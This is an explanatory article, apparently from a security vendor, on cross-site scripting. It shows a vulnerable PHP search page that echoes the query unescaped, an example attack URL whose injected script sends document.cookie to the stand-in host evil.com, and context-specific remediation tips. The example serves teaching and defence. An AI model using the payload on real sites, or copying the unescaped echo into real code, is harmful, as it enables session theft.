What is Cross Site Scripting and how can you fix it?
Cross Site scripting is a type of attack that can be carried out to compromise users of a website. The exploitation of a XSS flaw enables attackers to inject client-side scripts into web pages viewed by users
Risk of cross site scripting
The attacker may gain access to users cookies, session IDs, passwords, private messages etc. He or she can read and access the content of a page for any attacked user and therefore all the informations displayed to the user. The attacker may also compromise the content shown to the user. A notable attack was the Tweetdeck XSS worm that got published in 2014. It allowed the attacker to spread his malicious payload to all Tweetdeck users via Twitter, hence causing a mass compromise of Twitter accounts.
Say you have a search box on your site. If there is no result, the site should say “Could not find any pages when searching for [what the user searched for].”.
Doing this in PHP it might look something like this:
<?php // Code for performing the actual search } else { echo "Could not find any pages when searching for ".$_GET['query']; } ?>
This would, in other words, output the user supplied data (the search query) straight into the HTML document. If the search query contains HTML, the users web browser will render it. Imagine an attacker send a link like the following to a victim:
http://example.com/search.php?query=<script>document.InnerHTML += "<img src='http://evil.com/?cookie="+document.cookie+" />";</script>
This would make the victim search for <script>document.InnerHTML += “<img src=‘http://evil.com/?cookie=”+document.cookie+“’/>”</script>. Since there is no validation of the data, the target browser will render:
Could not find any pages when searching for <script>document.InnerHTML += "<img src='http://evil.com?cookie="+document.cookie+"'/>"</script>
The injected HTML will be executed. The HTML contains a script tag which will evaluate JavaScript. The JavaScript will grab the users cookie and send it off bounds to a third party domain of the attackers control. The attacker will then be able to set his own cookie to the victims stolen one, hence gaining access the victims data. This is a common example of a privilege escalation attack by the means of cross site scripting and session riding.
The remediation of XSS vulnerabilities are heavily context dependent. The patches vary from time to time. Here are some general tips (where UNTRUSTED is where user supplied data):
Solution
Convert to HTML entities (ie. & to & etc).
See PHP htmlspecialchars()
<input value="UNTRUSTED"> <div attr="UNTRUSTED" />
Solution
Convert the untrusted user input to HTML entities to prevent the creation of other attributes. Never let any user data into the “id”, “class” or “name” parameters. Be very cautious when providing user data into DOM event handlers (e.g, onclick), at they are made to execute JavaScript.
<a href="UNTRUSTED">link</a> <iframe src="UNTRUSTED" />
Solution
URL encode the user data. Whitelist known URLs. Run the user data through a proper URL library in your language. Take notice to the protocol specified. If you expect HTTP or HTTPS links, whitelist those. Prevent the javascript: protocol handler.
<a href="/page?id=UNTRUSTED">link</a>
Solution
URL encode the user data. Prevent the use of ampersand as it may lead to parameter pollution issues.
<div style="height:UNTRUSTED;"></div>
Solution
CSS hex encode the value.
<script>var value='UNTRUSTED';</script>
Solution
Quote around variable and hex encode. Prevent line breaks.
element.innerHTML = UNTRUSTED
Solution
Sanitize using a library written in the language you use. Enforce the use of safer functions whenever applicable (like, innerText instead of innerHTML). Be vary careful of what data is allowed to be printed. It’s better to have a whitelist of allowed characters than a blacklist.
For more extensive list, see OWASP XSS prevention tips.
Detectify checks for Cross Side Scripting, so as soon as you have pushed any new code – go to Detectify and test it!